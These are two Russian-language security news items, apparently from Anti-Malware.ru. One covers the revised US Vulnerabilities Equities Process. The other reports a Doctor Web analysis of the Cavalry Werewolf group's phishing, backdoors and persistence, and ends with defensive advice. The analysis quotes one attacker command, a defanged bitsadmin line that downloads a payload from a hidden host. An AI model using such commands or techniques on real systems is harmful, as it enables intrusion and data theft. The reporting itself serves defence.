Власти США выпускают регламент сокрытия уязвимостей для кибервойн

Власти США выпускают регламент сокрытия уязвимостей для кибервойн

Власти США выпускают регламент сокрытия уязвимостей для кибервойн

Белый дом озаботился выпуском нового регламента, касающегося Процесса документирования уязвимостей (Vulnerabilities Equities Process, VEP). По словам разведки США, этот шаг призван обеспечить гораздо большую степень прозрачности относительно брешей в безопасности, так как власти в последнее время сталкивались с обвинениями в использовании уязвимостей в своих целях.

Скандалы вокруг ситуации с дырами в безопасности возникли на фоне той ситуации, когда Shadow Brokers слили в Сеть мощные эксплойты, принадлежащие АНБ США. Специалисты видят в новом регламенте положительные моменты, признавая, что использование уязвимостей может иметь серьезные последствия для конфиденциальности и безопасности.

Тем не менее, эксперты обеспокоены потенциальными политическими лазейками, особенно тем, как может раскручиваться ситуация в случае уязвимостей, используемых в уголовных делах.

VEP возник в 2010 году как попытка сбалансировать противоречивые правительственные приоритеты. С одной стороны, раскрытие той или иной уязвимости может не дать достаточного времени производителю на исправление. С другой стороны, эти бреши могут тайно использоваться разведкой в своих целях.

Все изменилось в 2014 году, когда АНБ обвинили в эксплуатации уязвимости Heartbleed в течение долгого времени. Отвергая эти обвинения и стремясь успокоить общественность, власти назвали VEP приоритетом в отношении защитных мер и раскрытия информации о наступательной эксплуатации.

Многие изменения VEP направлены на создание прозрачности, касающейся того, как следует поступать с уязвимостями. Специалисты пока неуверенны, насколько этот новый набор правил будет реализовываться на практике, но признают, что он лучше разработан для учета некоторых нюансов, — например, сложность патчинга определенных систем.

Новая политика также предусматривает ежегодные отчеты о деятельности VEP, включая неклассифицированное резюме. Опять же, пока неясно, как много информации они предоставят, и будут ли они запрашивать дополнительный контроль со стороны Конгресса или других органов, но такой отчет является необходимым шагом.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

Группировка Cavalry Werewolf взломала сеть госоргана с помощью бэкдоров

В июле 2025 года к специалистам компании «Доктор Веб» обратился клиент из госсектора с жалобой на рассылку подозрительных писем с корпоративного почтового ящика. Расследование показало: перед ними была целевая кампания кибергруппировки, которую аналитики идентифицировали как Cavalry Werewolf.

Цель атаки — сбор конфиденциальной информации и картирование сети для дальнейшего закрепления внутри инфраструктуры.

Начали злоумышленники банально, но эффективно — с фишинга. В качестве «приманки» приходили архивы с паролем и вложенным бэкдором BackDoor.ShellNET.1 (основан на открытом проекте Reverse-Shell-CS). Файлы маскировались под служебные записки и другие официальные документы — имена были соответствующие, чтобы снизить бдительность получателя.

 

После запуска BackDoor.ShellNET.1 атакующие использовали стандартный для Windows инструмент bitsadmin для скачивания дополнительных полезных нагрузок (пример: bitsadmin /transfer www /download hxxp://…/winpot.exe). Среди загруженных модулей оказался стилер Trojan.FileSpyNET.5, который массово тянул документы (.doc/.docx/.xlsx/.pdf), текстовые файлы и изображения. Для скрытого доступа применяли BackDoor.Tunnel.41 (вариант ReverseSocks5) — с его помощью создавались SOCKS5-туннели и обеспечивалось скрытое подключение к заражённому ПК.

Дальше — больше: специалисты «Доктор Веб» обнаружили целый набор инструментов, как собственных, так и основанных на open-source. В арсенале группировки — скриптовые загрузчики (например, BAT.DownLoader.1138), «упакованные» трояны (Trojan.Packed2.49708, Trojan.Siggen31.54011 и т. п.), бэкдоры, управляемые через телеграм-ботов (BackDoor.Siggen2.5463, BackDoor.ShellNET.2), а также прокси-модули типа BackDoor.ReverseProxy.1. Некоторые варианты внедряли полезную нагрузку в легитимные процессы — например, инжектировали данные в aspnet_compiler.exe, чтобы бэкдор выполнялся в контексте доверенного приложения.

 

Интересно, что злоумышленники активно пользуются открытими решениями: либо берут код «как есть», либо модифицируют его под свои нужды. Для доставки следующей волны вредоносов они используют стандартные утилиты — PowerShell, bitsadmin, curl — а для сохранения присутствия в системе модифицируют автозагрузку через реестр (HKCU\...\Run) или ставят исполняемые файлы в C:\users\public\pictures и похожие публичные папки.

Атака Cavalry Werewolf показала типичную для целевых кампаний логику: разведка (whoami, ipconfig, просмотр директорий), проверка прокси и сети, затем загрузка инструментов и закрепление. Также злоумышленники могли позже использовать скомпрометированные устройства для перехода в другие сети — например, при смене работы жертвы — и разворачивать дальнейшие атаки через доверенные каналы.

Отдельные особенности группировки, которые отмечают аналитики «Доктор Веб»: предпочтение к open-source-инструментам, частое использование обратных шеллов и SOCKS-туннелей, внедрение вреда в видимо «безобидные» программы и управление через Telegram API. Фишинговые рассылки имитируют сообщения от государственных органов — это снижает подозрительность целевой аудитории и повышает шансы успешной компрометации.

Рекомендации для организаций — стандартный, но действенный набор мер: усилить фильтрацию почты и блокировку подозрительных вложений, ограничить возможность запуска bitsadmin/PowerShell неподписанных скриптов, включить контроль исполнения (application control) и EDR, регулярно проверять целевые публичные папки, применять многофакторную аутентификацию и оперативно реагировать на подозрительные соединения с неизвестными C2-адресами. При обнаружении инцидента — немедленно изолировать пострадавшие хосты и провести полноценную форензику, чтобы выявить степень компрометации.

Расследование «Доктор Веб» — ещё одно напоминание: даже крупные организации с государственным уровнем защиты уязвимы к грамотному фишингу и тому, что за ним следует. В современных целевых атаках именно сочетание человеческой ошибки и хорошо отлаженных инструментов злоумышленников делает наибольший ущерб.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru